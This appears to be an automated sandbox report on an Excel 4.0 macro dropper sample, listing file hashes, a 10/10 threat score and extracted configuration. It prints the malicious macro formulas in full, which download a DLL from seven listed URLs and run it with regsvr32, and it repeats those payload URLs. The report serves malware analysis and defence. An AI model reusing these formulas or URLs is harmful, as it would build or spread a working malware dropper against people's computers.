General

  • Target

    73d03360e28e8dca5754fb466b70564c2717c444aef7eebac606f02977e4e057

  • Size

    20KB

  • Sample

    241120-xll5jswldj

  • MD5

    c119b533dfb7aee46db8431ad47b3538

  • SHA1

    9e110e4c352b8ae46acfb98286b647bed7955e56

  • SHA256

    73d03360e28e8dca5754fb466b70564c2717c444aef7eebac606f02977e4e057

  • SHA512

    677b949318cb7d3b7af484d5cdadfbae51ca2a8e83402f74ff5f2bf2638e1b4359355c12b3104e52f6ab36b386da05bf45fc158c62a305604a37d2d569148b2d

  • SSDEEP

    384:q/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:qtINAo4FLkCBn9kC+xbLzJy

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://antaoco.com/wp-admin/5WaIjOuHnUj/

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

http://amkltd.co.uk/amk/IPuhx/

http://gees.com.pl/geessw/2YmxITo6/

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://antaoco.com/wp-admin/5WaIjOuHnUj/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://andrewpharma.com/wp-includes/WqgKtKrYJM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amkltd.co.uk/amk/IPuhx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gees.com.pl/geessw/2YmxITo6/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

xlm40.dropper

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

Targets

    • Target

      73d03360e28e8dca5754fb466b70564c2717c444aef7eebac606f02977e4e057

    • Size

      20KB

    • MD5

      c119b533dfb7aee46db8431ad47b3538

    • SHA1

      9e110e4c352b8ae46acfb98286b647bed7955e56

    • SHA256

      73d03360e28e8dca5754fb466b70564c2717c444aef7eebac606f02977e4e057

    • SHA512

      677b949318cb7d3b7af484d5cdadfbae51ca2a8e83402f74ff5f2bf2638e1b4359355c12b3104e52f6ab36b386da05bf45fc158c62a305604a37d2d569148b2d

    • SSDEEP

      384:q/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:qtINAo4FLkCBn9kC+xbLzJy

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks